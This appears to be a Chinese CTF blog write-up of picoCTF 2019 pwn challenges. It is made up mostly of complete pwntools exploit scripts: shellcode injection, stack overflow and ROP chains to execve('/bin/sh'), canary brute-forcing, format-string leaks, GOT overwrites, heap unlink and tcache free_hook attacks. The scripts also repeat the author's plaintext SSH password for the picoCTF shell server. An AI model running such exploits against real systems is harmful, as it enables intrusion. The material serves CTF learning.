picoctf2019pwn解题记录

practice-run-1

ssh远程连接,直接运行程序即可得到flag

1
2
3
4
5
kangel@pico-2019-shell1:~$ cd /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e
kangel@pico-2019-shell1:/problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e$ ls
run_this
kangel@pico-2019-shell1:/problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}

handy-shellcode

利用pwntools进行ssh连接,然后写进shellcode

1
2
3
4
5
6
7
8
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/handy-shellcode_2_6ad1f834bdcf9fcfb41200ca8d0f55a6")
p = s.process("./vuln")
p.recvuntil("shellcode:\n")
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

拿到shell之后

picoCTF{h4ndY_d4ndY_sh311c0d3_707f1a87}

slippery-shellcode

和handy-shellcode类似,进行右填充即可

1
2
3
4
5
6
7
8
9
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/slippery-shellcode_5_5cea4ae04c57923484bda350da9f4015")
p = s.process("./vuln")
p.recvuntil("shellcode:\n")
shellcode = asm(shellcraft.sh())
payload = shellcode.rjust(512,'\x00')
p.sendline(payload)
p.interactive()

picoCTF{sl1pp3ry_sh311c0d3_ecc37b22}

OverFlow 0

题目给了源代码和程序,按照一般的pwn题解法,还是直接用ida查看程序

程序发生段错误则执行sigsegv_handler函数,该函数刚好打印flag,所以只要栈溢出到ebp即可

1
2
kangel@pico-2019-shell1:/problems/overflow-0_5_db665826dabb99c44758c97abfd8c4c6$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{3asY_P3a5y4a888b8e}

OverFlow 1

返回地址覆盖成flag函数地址即可

1
2
3
4
5
6
7
8
9
10
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de")
p = s.process("./vuln")
#p = process("./vuln")
flag_addr = 0x080485E6
p.recvuntil("happens: ")
payload = 0x48*'a' + 'aaaa' + p32(flag_addr)
p.sendline(payload)
p.interactive()

picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}

OverFlow 2

返回地址覆盖成flag地址,32位参数覆写直接在栈中

1
2
3
4
5
6
7
8
9
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/overflow-2_1_210f23786438d7f7e527f4901367a74b")
p = s.process("./vuln")
flag_addr = 0x080485E6
p.recvuntil("string: ")
payload =0xb8*'a' + 'aaaa' + p32(flag_addr) +'aaaa' + p32(0xDEADBEEF) + p32(0xC0DED00D)
p.sendline(payload)
p.interactive()

picoCTF{arg5_and_r3turn5001d1db0}

NewOverFlow 1

在Ubuntu18的环境中,直接将返回地址覆盖成flag地址,flag函数中的printf会出现段错误,需要通过执行一些其他函数来调整寄存器或对齐,这里先执行puts函数,然后执行flag函数

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4")
p = s.process("./vuln")
#p = process("./vulnnew")
flag_addr = 0x0000000000400767
puts_addr = 0x00000000004005f0
p.recvuntil("Welcome to 64-bit. Give me a string that gets you the flag: ")
payload = 0x48*'a' + p64(puts_addr) + p64(flag_addr)
p.sendline(payload)
p.interactive()

picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_72d3e39f}

NewOverFlow 2

这道题需要用到ret2csu来覆写参数,具体参见https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/newoverflow-2_1_bcd752d56a87efb5dfc9803b461809f7")
p = s.process("./vuln")
#p = process("./vuln")
elf=ELF("./vuln")
flag_addr = 0x000000000040084d
balance_got = elf.got['getegid']
main_addr = elf.symbols['main']
pop_rdi = 0x4009a3
f1_addr = 0x400767
f2_addr = 0x400781
win_addr = 0x4007be
p.recvuntil("numbers?")
payload = 0x48*'a' + p64(0x4005f0) + p64(pop_rdi) + p64(0xdeadbeef)
payload += p64(f1_addr)
csu_end_addr = 0x40099a
csu_front_addr = 0x400980
payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(balance_got) + p64(0xBAADCAFE) + p64(0xCAFEBABE) + p64(0xABADBABE)
payload += p64(csu_front_addr) + 0x38*'a' + p64(f2_addr) + p64(main_addr)
#gdb.attach(p)
p.sendline(payload)
p.recvuntil("numbers?")
payload = 0x48*'a' + p64(win_addr)
p.sendline(payload)
#pause(5)
p.interactive()

结果如下

picoCTF{r0p_1t_d0nT_st0p_1t_3b39d86e}

CanaRy

程序分析

首先读入canary.txt到.bss中,将该canary写进栈中。读入数据,判断是否覆盖掉canary

攻击思路

首先爆破canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
canary = ""
for i in range(4):
for a in range(256):
canary_temp = canary + chr(a)
p = s.process("./vuln")
p.sendlineafter("entry:\n> " , str(0x100))
payload = "a" * 0x20 + canary_temp
p.sendafter("Input> " , payload)
result = p.recvline()
log.info(result)
p.close()
if "Stack Smashing" not in result:
canary += chr(a)
log.success("canary found :" + canary)
pause()
break

得到canary为wrvW,然后覆盖掉返回地址为display_flag地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe")
elf = ELF('./vuln')
print hex(elf.symbols['display_flag']) #0x7ed
canary = "wrvW"
for i in range(16):
p = s.process("./vuln")
payload = 'a'*0x20 + canary + "b" * (0xc + 0x4)+'\xed\x97'
p.recvuntil("entry:\n> ")
p.sendline(str(0x100))
p.recvuntil("Input> ")
p.send(payload)
result = p.recvall()
log.info(result)
p.close()
if "picoCTF" in result:
log.success("flag found!")
break

picoCTF{cAnAr135_mU5t_b3_r4nd0m!_40765d8a}

leap-frog

程序分析:要使win1、win2、win3都不为零才能打印flag

攻击思路:直接写数据到win中,简单粗暴

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/leap-frog_0_b02581eeadf3f35f4356e23db08bddf9")
p = s.process("./rop")
flag_addr = 0x080486B3
gets_addr = 0x08048430
p.recvuntil("input> ")
payload = 'a'*0x18+'aaaa' + p32(gets_addr) + p32(flag_addr) +p32(0x0804a03d)
p.sendline(payload)
p.sendline('2222')
p.interactive()

picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_8783895b}

messy-malloc

一道简单的堆题,注意环境是libc.2.27.so,引入了tcache机制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
p = remote("2019shell1.picoctf.com","49920")
#p = process("./auth")
def print_flag():
p.recvuntil("your command:")
p.sendline("print-flag")

def login(length,name):
p.recvuntil("your command:")
p.sendline("login")
p.recvuntil("of your username")
p.sendline(str(length))
p.recvuntil("enter your username")
p.sendline(name)

def logout():
p.recvuntil("your command:")
p.sendline("logout")

payload = "aaaaaaaa" + p64(0x4343415F544F4F52) + p64(0x45444F435F535345)
login(32,payload)
logout()
login(32,'kangel')
#gdb.attach(p)
print_flag()
p.interactive()

picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_64bcc6a3}

stringzz

程序分析:将flag写进内存,直接爆破吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/stringzz_0_973c705187166a133a5293d2fc93b552")
#p = s.process("./vuln")
for i in range(100):#37
p=s.process("./vuln")
p.recvuntil("back:\n")
payload = '%{}$s'.format(i)
p.sendline(payload)
data = p.recvall()
p.close()
if 'pico' in data:
print data
break

picoCTF{str1nG_CH3353_b7f47023}

GoT

查看保护

1
2
3
4
5
6
[+] checksec for '/mnt/hgfs/shared/picoCTF/got/vuln'
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial ##got表可写

思路很简单,覆写got表即可,将exit的地址换成win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/got_4_97e6bb0e913c179989678416d8a8fb22")
p = s.process("./vuln")
elf = ELF("./vuln")
exit_got = elf.got['exit']
win_addr = elf.sym['win']
print exit_got
print win_addr
p.recvuntil("address\n")
p.sendline(str(exit_got))
p.recvuntil("value?\n")
p.sendline(str(win_addr))
p.interactive()

picoCTF{A_s0ng_0f_1C3_and_f1r3_db12a9ed}

pointy

程序逻辑漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/pointy_2_030e643c8a0e842516b1c6a3ff826144")
p = s.process("./vuln")
elf = ELF("./vuln")
win_addr = elf.sym['win']
p.recvuntil("name of a student")
p.sendline("aaaa")
p.recvuntil("professor of a student ")
p.sendline('bbbb')
p.recvuntil("give the score ")
p.sendline('aaaa')
p.recvuntil("will be scored ")
p.sendline("bbbb")
p.recvuntil("Input the score: ")
p.sendline(str(win_addr))
p.recvuntil("name of a student")
p.sendline("bbbb")
p.recvuntil("professor of a student ")
p.sendline('aaaa')
p.recvuntil("give the score ")
p.sendline('bbbb')
p.recvuntil("will be scored ")
p.sendline("aaaa")
p.recvuntil("Input the score: ")
p.sendline(str(100))
p.interactive()

seed_spring

利用ctypes生成一样的随机序列,本地与服务器可能会有延迟,测试延迟范围脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

for i in range(-10,10) :
p = remote("2019shell1.picoctf.com","4160")
seed = libc.time(0)
libc.srand(seed+i)
print i
p.recvuntil("height: ")
p.sendline(str(libc.rand()&0xf))
data = p.recvline()
print data
p.close()
if "LEVEL" in data:
break

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# p = process("./seed_spring")
p = remote("2019shell1.picoctf.com","4160")
seed = libc.time(0)
delay = 7 #延迟5到10秒,具体看网速
libc.srand(seed - delay)
for i in range(30) :
p.recvuntil("height: ")
p.sendline(str(libc.rand()&0xf))
data = p.recvline()
print data
p.interactive()

picoCTF{pseudo_random_number_generator_not_so_random_24ce919be49576c7df453a4a3e6fbd40}

limit

整数溢出,首先判断溢出的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
gef➤  
0x0804865e in replaceIntegerInArrayAtIndex ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x64
$ebx : 0x0804a000 → 0x08049f0c → 0x00000001
$ecx : 0x1
$edx : 0xffffc378 → 0x00000064 ("d"?)
$esp : 0xffffc388 → 0xffffce18 → 0x00000000
$ebp : 0xffffc388 → 0xffffce18 → 0x00000000
$esi : 0xf7fb0000 → 0x001d7d6c ("l}"?)
$edi : 0x0
$eip : 0x0804865e → <replaceIntegerInArrayAtIndex+33> nop
$eflags: [CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffc388│+0x0000: 0xffffce18 → 0x00000000 ← $esp, $ebp
0xffffc38c│+0x0004: 0x080486fc → <main+155> add esp, 0x10 ##返回值地址0xffffc38c
0xffffc390│+0x0008: 0xffffc3a0 → 0x00000000
0xffffc394│+0x000c: 0xfffffff6
0xffffc398│+0x0010: 0x00000064 ("d"?)
0xffffc39c│+0x0014: 0x0804867b → <main+26> add ebx, 0x1985
0xffffc3a0│+0x0018: 0x00000000
0xffffc3a4│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048653 <replaceIntegerInArrayAtIndex+22> add BYTE PTR [ebx-0x3dfef7bb], cl
0x8048659 <replaceIntegerInArrayAtIndex+28> mov eax, DWORD PTR [ebp+0x10]
0x804865c <replaceIntegerInArrayAtIndex+31> mov DWORD PTR [edx], eax
→ 0x804865e <replaceIntegerInArrayAtIndex+33> nop
0x804865f <replaceIntegerInArrayAtIndex+34> pop ebp
0x8048660 <replaceIntegerInArrayAtIndex+35> ret
0x8048661 <main+0> lea ecx, [esp+0x4]
0x8048665 <main+4> and esp, 0xfffffff0
0x8048668 <main+7> push DWORD PTR [ecx-0x4]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804865e → replaceIntegerInArrayAtIndex()
[#1] 0x80486fc → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ x/2wx 0xffffce08-0xa68-40 ##输入-10进行计算
0xffffc378: 0x00000064 0x0804a000
gef➤ x/2wx 0xffffce08-0xa68-24
0xffffc388: 0xffffce18 0x080486fc
gef➤ x/2wx 0xffffce08-0xa68-20 ##溢出长度为-(20/4=5)
0xffffc38c: 0x080486fc 0xffffc3a0
gef➤

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/l1im1tl355_1_688adedb3c25bf76cbb2c2a0fe7e9ac3")
p = s.process("./vuln")
elf = ELF("./vuln")
print elf.sym['win']
p.recvuntil("array\n")
p.sendline(str(elf.sym['win']))
p.recvuntil("value\n")
p.sendline(str(-5))
p.interactive()

picoCTF{str1nG_CH3353_59c3cf5a}

rop32

32位的系统调用,一般用execve(“/bin/sh”,0,0)获取shell

define __NR_execve 11

1
2
3
4
5
6
7
8
9
10
11
12
13
get_shell:
push ebp
mov ebp, esp
push 0x0068732f ;/sh
push 0x6e69622f ;/bin
mov ebx,esp ;参数1
mov eax,0x0b ;将系统调用号传给eax
mov ecx,0 ;参数2
mov edx,0 ;参数3
int 0x80 ;系统调用指令
mov eax, 0
pop ebp
ret

思路:先将”/bin/sh”写到.bss段中,再利用rop完成系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/rop32_0_b4142d4df31cb73e170c77dac234a79a")
p = s.process("./vuln")
elf = ELF("./vuln")
gets_addr = elf.sym['gets']
main_addr = elf.sym['main']
bss_addr = 0x080DBFC4
pop_eax_edx_ebx_ret = 0x08056334 #ROPgadget --binary vuln --only "pop|ret" |grep 'eax'
pop_edx_ecx_ebx_ret = 0x0806ee91 #ROPgadget --binary vuln --only "pop|ret" |grep 'ebx'
int_0x80 = 0x08049563 ROPgadget --binary vuln --only "int"
p.recvuntil("this one?")
payload = 0x18*'a' + 'aaaa' + p32(gets_addr) + p32(main_addr) + p32(bss_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.recvuntil("this one?")
payload = 0x18*'a' + 'aaaa' + p32(pop_eax_edx_ebx_ret) + p32(0xb) + p32(0) + p32(bss_addr)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(0x080DBFC4) + p32(int_0x80)
p.sendline(payload)
p.interactive()

picoCTF{rOp_t0_b1n_sH_01a585a7}

rop64

64位的系统调用,一般用execve(“/bin/sh”,0,0)获取shell

define __NR_execve 59

1
2
3
4
5
6
7
8
9
10
11
12
13
get_shell:
push rbp
mov rbp, rsp
mov rax,0x0068732f6e69622f ;/bin/sh
push rax
mov rdi,rsp ;参数1
mov rax,59 ;将系统调用号传给eax
mov rsi,0 ;参数2
mov rdx,0 ;参数3
syscall ;系统调用指令
mov rax, 0
pop rbp
ret

思路:先将”/bin/sh”写到.bss段中,再利用rop完成系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3")
p = s.process("./vuln")
elf = ELF("./vuln")
gets_addr = elf.sym['gets']
main_addr = elf.sym['main']
bss_addr = 0x00000000006BB2D8
pop_rax = 0x00000000004156f4 #ROPgadget --binary vuln --only "pop|ret" |grep 'rax'
pop_rdi = 0x0000000000400686
pop_rdx_rsi = 0x000000000044bf39
syscall = 0x000000000047b6ff #ROPgadget --binary vuln --only "syscall"
p.recvuntil("out of this?")
payload = 0x18*'a' + p64(pop_rdi) + p64(bss_addr) + p64(gets_addr) + p64(main_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.recvuntil("out of this?")
payload = 0x18*'a' + p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(bss_addr)
payload += p64(pop_rdx_rsi) + p64(0) + p64(0) + p64(syscall)
p.sendline(payload)
p.interactive()

picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}

AfterLife

通过ida和gdb调试可以发现这道题的堆管理机制不是标准的libc2.27堆管理机制,缺少一些检查。因此可以利用没有检查机制的unlink进行攻击。即使

FD=P->fd = target addr -12

BK=P->bk = expect value

这样,unlink之后

FD->bk = BK 即 target addr -12+12=expect value

这里expect value直接设置为shellcode地址会报段错误,因此需要跳转一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
s.set_working_directory("/problems/afterlife_3_d7ce2f2a99c4a2a922485a042076039f")
p = s.process(argv=['./vuln', "kangel"])
# p = process(argv=['./vuln', "kangel"])
dest = int(p.recvuntil('you').split('\n')[1])
print hex(dest)
exit_got = 0x804d02c
payload = p32(exit_got-12)
payload += p32(dest+8)
payload += asm('''
jmp sc
{}
sc:
nop
'''.format('nop\n'*100)+shellcraft.sh())
p.sendline(payload)
p.interactive()

picoCTF{what5_Aft3r_e5e05866}

SecondLife

如法炮制afterlife

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
# s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
# s.set_working_directory("/problems/secondlife_0_1d09c6c834e9512daebaf9e25feedd53")
# p = s.process("./vuln")
p = process("./vuln")
dest = int(p.recv().split('\n')[1])
print hex(dest)
p.sendline('kangel')
p.recvuntil("useful...")
exit_got = 0x804d02c
payload = p32(exit_got-12)
payload += p32(dest+8)
payload += asm('''
jmp sc
{}
sc:
nop
'''.format('nop\n'*100)+shellcraft.sh())
p.sendline(payload)
p.interactive()

picoCTF{HeapHeapFlag_8342a39b}

Heap overflow

利用heap overflow将lastname变成unsorted bin,然后如法炮制afterlife

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
# s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
# s.set_working_directory("/problems/heap-overflow_1_3f101d883699357e88af6bd1165695cd")
# p = s.process("./vuln")
p = process('./vuln')
dest = int(p.recvuntil('Input').split('\n')[1])
print hex(dest)
exit_got = 0x0804d02c
payload = 'a'*8
payload += asm('''
jmp sc
{}
sc:
nop
'''.format('nop\n'*100)+shellcraft.sh())
payload = payload.ljust(0x2a0-0x4)
payload += p32(0x49).ljust(0x48)
payload += p32(0x101)
p.sendlineafter('fullname\n', payload)
payload = p32(0x101)
payload += p32(exit_got-12)
payload += p32(dest+8)
payload = payload.ljust(0x100-0x4)+p32(0x101) + p32(0x100)
payload = 'a'*(0x100-4)+ payload
p.sendlineafter('lastname\n', payload)
p.interactive()

picoCTF{a_s1mpl3_h3ap_04dbf101}

ghostdiary

程序分析:

  1. New page in diary:创建堆块,大小为(0,0xf0]和(0x10f,0x1e0]

  2. Talk with ghost:写入堆块,存在off by null 漏洞

  3. Listen to ghost:打印堆块内容

  4. Burn the page:删除堆块

攻击思路:利用off by null使unsorted合并的时候产生堆块交叉,从而泄露libc基地址。再利用tcache attack将one_gadget覆盖free_hook。需要注意的是不能直接malloc大小为0xf8的堆块,所以可以配合0xf0和0x118使用。

具体exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
# context.log_level = 'debug'
# s=ssh(host="2019shell1.picoctf.com",user="kangel",password="2314838574", port=22)
# s.set_working_directory("/problems/ghost-diary_0_3fe5c3d8597f5f041d53fd64c0d577d2")
p = process("/problems/ghost-diary_0_3fe5c3d8597f5f041d53fd64c0d577d2/ghostdiary")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def create(size,side):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('> ')
p.sendline(str(side))
p.recvuntil('size:')
p.sendline(str(size))
def add(page,content):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Page: ')
p.sendline(str(page))
p.recvuntil('Content: ')
p.sendline(content)

def delete(page):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('Page: ')
p.sendline(str(page))
def show(page):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Page: ')
p.sendline(str(page))

for i in range(7):
create(0xf0,1)
for i in range(10):
create(0x118,2)
for i in range(7):
delete(i)

for i in range(6):
delete(7+i)
delete(9+7)
for i in range(6,9):
delete(7+i)
for i in range(10):
create(0x118,2)
for i in range(6):
delete(i)
delete(8)
delete(7)
create(0x118,2)
add(0,0x110*'a'+p64(0x240))
add(9,0xf0*'a'+p64(0x100)+p64(0x141))
delete(6)
delete(9)
for i in range(8):
create(0x118,2)
show(0)
p.recvuntil("Content: ")
libc_base = u64(p.recvline()[0:6].ljust(8,'\x00')) - 0x3ebca0
log,success("libc_addr:"+hex(libc_base))
create(0x118,2)
delete(1)
delete(2)
delete(0)
delete(9)
create(0x118,2)
add(0,p64(libc_base + libc.symbols['__free_hook']))
create(0x118,2)
create(0x118,2)
one_gadget = libc_base + 0x4f322
add(2,p64(one_gadget))
delete(1)
p.interactive()
-------------本文结束感谢您的阅读-------------